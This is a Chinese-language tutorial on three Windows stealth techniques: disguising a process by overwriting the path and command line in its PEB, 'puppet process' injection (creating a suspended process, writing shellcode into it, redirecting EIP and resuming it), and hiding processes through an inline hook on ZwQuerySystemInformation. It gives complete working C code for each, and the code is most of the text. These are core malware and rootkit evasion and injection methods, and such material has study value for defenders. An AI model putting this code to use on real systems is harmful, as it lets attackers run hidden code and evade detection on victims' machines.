进程伪装:通过修改指定进程PEB中的路径和命令行信息实现伪装。
傀儡进程:通过进程挂起,替换内存数据再恢复执行,从而实现创建“傀儡进程”。
进程隐藏:通过HOOK函数ZwQuerySystemInfomation来实现进程隐藏。
1 进程伪装
实现原理
就是修改指定进程环境块中的进程路径ImagePathName以及命令行CommandLine信息,从而达到进程伪装的效果。所以,实现的关键在于进程环境块的获取。可以用ntdll.dll的导出函数NTQueryInfomationProcess来获取指定进程的PEB地址,然后调用ReadProcessMemory和WriteProcessMemory来读写目标进程。
编码实现
关键字:NtQueryInformationProcess,Read/WriteProcessMemory,PROCESS_BASIC_INFORMATION,PEB
// 修改指定进程的进程环境块PEB中的路径和命令行信息, 实现进程伪装
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t *lpwszPath, wchar_t *lpwszCmd)
{
// 打开进程获取句柄
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
return FALSE;
}
typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
PROCESS_BASIC_INFORMATION pbi = { 0 };
PEB peb = { 0 };
RTL_USER_PROCESS_PARAMETERS Param = { 0 };
USHORT usCmdLen = 0;
USHORT usPathLen = 0;
// 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
if (NULL == NtQueryInformationProcess)
{
ShowError("GetProcAddress");
return FALSE;
}
// 获取指定进程的基本信息
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status))
{
ShowError("NtQueryInformationProcess");
return FALSE;
}
/*
注意在读写其他进程的时候,注意要使用ReadProcessMemory/WriteProcessMemory进行操作,
每个指针指向的内容都需要获取,因为指针只能指向本进程的地址空间,必须要读取到本进程空间。
要不然一直提示位置访问错误!
*/
// 获取指定进程进本信息结构中的PebBaseAddress
::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
// 获取指定进程环境块结构中的ProcessParameters, 注意指针指向的是指定进程空间中
::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
// 修改指定进程环境块PEB中命令行信息, 注意指针指向的是指定进程空间中
usCmdLen = 2 + 2 * ::wcslen(lpwszCmd);
::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
// 修改指定进程环境块PEB中路径信息, 注意指针指向的是指定进程空间中
usPathLen = 2 + 2 * ::wcslen(lpwszPath);
::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);
return TRUE;
}
测试
修改前
修改后
傀儡进程
实现原理
傀儡进程的创建原理就是修改某一进程的内存数据,向内存中写入Shellcode代码,并修改该进程的执行流程,使其转而执行Shellcode代码。
关键点有二:
一是写入ShellCode数据的时机,二是更改执行流程的方法。当我们CreateProcess的时候,设置状态为CREATE_SUSPENDED,这样主线程会挂起,直到通过ResumeThread来回复线程方可继续执行。在这个时候我们可以通过SetThreadContext函数修改线程上下文中的EIP数据,改变程序运行顺序。
编码实现
关键字:Get/SetThreadContext,ResumeThread
// 创建进程并替换进程内存数据, 更改执行顺序
BOOL ReplaceProcess(char *pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset)
{
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT threadContext = { 0 };
BOOL bRet = FALSE;
::RtlZeroMemory(&si, sizeof(si));
::RtlZeroMemory(&pi, sizeof(pi));
::RtlZeroMemory(&threadContext, sizeof(threadContext));
si.cb = sizeof(si);
// 创建进程并挂起主线程
bRet = ::CreateProcess(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if (FALSE == bRet)
{
ShowError("CreateProcess");
return FALSE;
}
// 读取基址的方法: 此时context中的EBX是指向PEB的指针, 而在PEB偏移是8的位置存放 PEB_LDR_DATA 的地址
// 我们可以根据 PEB_LDR_DATA 获取进程基址以及遍历进程链获取所有进程
// DWORD dwProcessBaseAddr = 0;
// ::ReadProcessMemory(pi.hProcess, (LPVOID)(8 + threadContext.Ebx), &dwProcessBaseAddr, sizeof(dwProcessBaseAddr), NULL);
// 在替换的进程中申请一块内存
LPVOID lpDestBaseAddr = ::VirtualAllocEx(pi.hProcess, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (NULL == lpDestBaseAddr)
{
ShowError("VirtualAllocEx");
return FALSE;
}
// 写入替换的数据
bRet = ::WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL);
if (FALSE == bRet)
{
ShowError("WriteProcessError");
return FALSE;
}
// 获取线程上下文
// 注意此处标志,一定要写!!!
threadContext.ContextFlags = CONTEXT_FULL;
bRet = ::GetThreadContext(pi.hThread, &threadContext);//64:Wow64GetThreadContext
if (FALSE == bRet)
{
ShowError("GetThreadContext");
return FALSE;
}
// 修改进程的PE文件的入口地址以及映像大小,先获取原来进程PE结构的加载基址
threadContext.Eip = (DWORD)lpDestBaseAddr + dwRunOffset;
// 设置挂起进程的线程上下文
bRet = ::SetThreadContext(pi.hThread, &threadContext);//Wow64SetThreadContext
if (FALSE == bRet)
{
ShowError("SetThreadContext");
return FALSE;
}
// 恢复挂起的进程的线程
::ResumeThread(pi.hThread);
return TRUE;
}
测试
直接启动测试程序弹框:
用傀儡进程的形式启动,成功执行了shellcode代码。
进程隐藏
实现原理
通过HOOK WIN32API ZwQuerySystemInfomation来实现进程隐藏。遍历进程通常是通过CreateToolhelp32Snapshot等来实现的,通过逆向这些API可以发现,他们内部最终是通过调用ZwQuerySystemInfomation,所以只需要HOOKZwQuerySystemInfomation就行了。
在钩子函数中判断检索的信息是否是该进程信息,是则去掉,进而隐藏进程信息。
但是注意这个函数没导出,还是要手动去ntdll里面去获取。
INLINE HOOK技术介绍:
Inline hook的核心原理是在获取进程中指定API的地址后,修改该API函数入口地址的前几个字节数据,写入一个跳转指令,跳转到自定义的钩子函数执行。
注意区分32和64位系统,他们的指针长度是不一样的。所以32位系统需要更改函数前五字节数据,64位则是前12字节数据。
编码实现
void HookApi()
{
// 获取 ntdll.dll 的加载基址, 若没有则返回
HMODULE hDll = ::GetModuleHandle("ntdll.dll");
if (NULL == hDll)
{
return;
}
// 获取 ZwQuerySystemInformation 函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
{
return;
}
// 32 位下修改前 5 字节, 64 位下修改前 12 字节
#ifndef _WIN64
// jmp New_ZwQuerySystemInformation
// 机器码位:e9 _dwOffset(跳转偏移)
// addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值
// addr2 --> 跳转地址的值,即_dwNewAddress的值
// 跳转偏移 _dwOffset = addr2 - addr1
BYTE pData[5] = { 0xe9, 0, 0, 0, 0};
DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset));
// 保存前 5 字节数据
::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData));
#else
// mov rax,0x1122334455667788
// jmp rax
// 机器码是:
// 48 b8 8877665544332211
// ff e0
BYTE pData[12] = {0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0};
ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation;
::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset));
// 保存前 12 字节数据
::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(pData));
#endif
// 设置页面的保护属性为 可读、可写、可执行
DWORD dwOldProtect = 0;
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 修改
::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
// 还原页面保护属性
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
}